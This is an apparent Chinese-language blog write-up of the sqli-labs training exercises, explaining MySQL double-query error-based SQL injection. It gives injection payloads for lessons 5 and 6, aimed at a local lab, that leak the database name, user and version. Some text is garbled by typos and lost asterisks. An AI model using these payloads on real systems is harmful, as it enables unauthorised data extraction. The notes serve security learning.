sqli-lab学习笔记less6-7(双重查询)

双重注入查询:

相关函数介绍:
对于双重查询,需要先了解count,rand(),floor函数功能以及group by语法用法
1.concat函数用法
concat(string1,string2,string3)将string1,string2,string3字符串连接起来输出(orcle只允许2个字符串)

concat函数用法

2.count函数
我们可以用 select from information_schema.schemata ,来查询当前数据库信息

再根据count函数,我们可以得知当前数据库总数,count函数就是列出当前指定值的数目,count(
) freom information_schema.schamata中列出数据库的记录数

3.rand()函数
由下图可以看到,selecr rand()返回的结果是小于1的随机小数.

4.floor()函数用法
floor向下取整

5.group by 用法

GROUP BY 语句用于结合合计函数,根据一个或多个列对结果集进行分组

双重查询原理

研究人员发现,使用group by结合rand()以及count(*)这样聚集函数,在sql查询时会出现错误,这种错误随机产生,这样就产生的双重查询注入,使用floor函数只是为了将查询结果分类。
下面我们来结果几个函数用法,看几个简单的组合

SELECT floor(rand()2);我们从里向外看。rand() 返回大于0小于1的小数,乘以2之后就成了小于0小于2了。然后对结果进行取证。就只能是0或1了。也就是这个查询的结果不是1,就是0
采用如果 SELECT CONCAT((SELECT database()), FLOOR(RAND()
2));

select database()返回用户名,再与floor取整函数取得数字相连,floor(rand())不是0就是1,所以结果又随机两种,
SELECT CONCAT((SELECT database()), FLOOR(RAND()*2))a from user;
image.png

如果后面跟一个表名,那么就会返回一个集合,集合大小由表本生条数决定。我的数据库有3个管理员,所以就会返回3条记录。
我们选择information_schema.tables表来查询,因为表数据多,产生较多的随机数,然后group by 分组显示出来
select concat ((select database())), floor(rand()*2))as a from information_schema.tables group by a;
其中concat()as a 是将查询到的结果取一个别名,然后根据别名分组。

这样mysql0分到一组,mysql1分到一组。就只有两种结果了
最后再结合count(*),聚集函数,则会有可能报错,但是注意到报错信息所附带我们需要的信息,而不是正常的报错信息。所以就产生了双重查询


1
2
SELECT count(*),CONCAT((SELECT user()), FLOOR(RAND()*2))as a from information_schema.tables group by a;(查询当前用户)
SELECT count(*),CONCAT((SELECT version()), FLOOR(RAND()*2))as a from information_schema.tables group by a;(查询数据库版本

深层原理:http://wooyun.jozxing.cc/static/drops/tips-14312.html 大神分享的
对于less-6 payload

1
$ http://127.0.0.1/sqli/Less-6/?id=1" union select count(*),1,concat(0x3a,(select database()),0x3a,floor(rand(0)*2))a from information_schema.tables group by a--+

less-6

less-5 payload

1
$ http://127.0.0.1/sqli/Less-5/?id=1' and 1=( select count(*) from information_schema.tables group by concat(0x3a,(select database()),0x3a,floor(rand(0)*2))) --+

less-5

本文标题:sqli-lab学习笔记less6-7(双重查询)

文章作者:Tea_Mh

发布时间:2018年05月07日 - 23:02

最后更新:2019年04月15日 - 17:09

原始链接:blog.manhao6.cn/2018/05/07/双重注入查询/

许可协议: 署名-非商业性使用-禁止演绎 4.0 国际 转载请保留原文链接及作者。

Tea_Mh wechat
欢迎加我微信,交流交流
-------------    本文结束  感谢您的阅读    -------------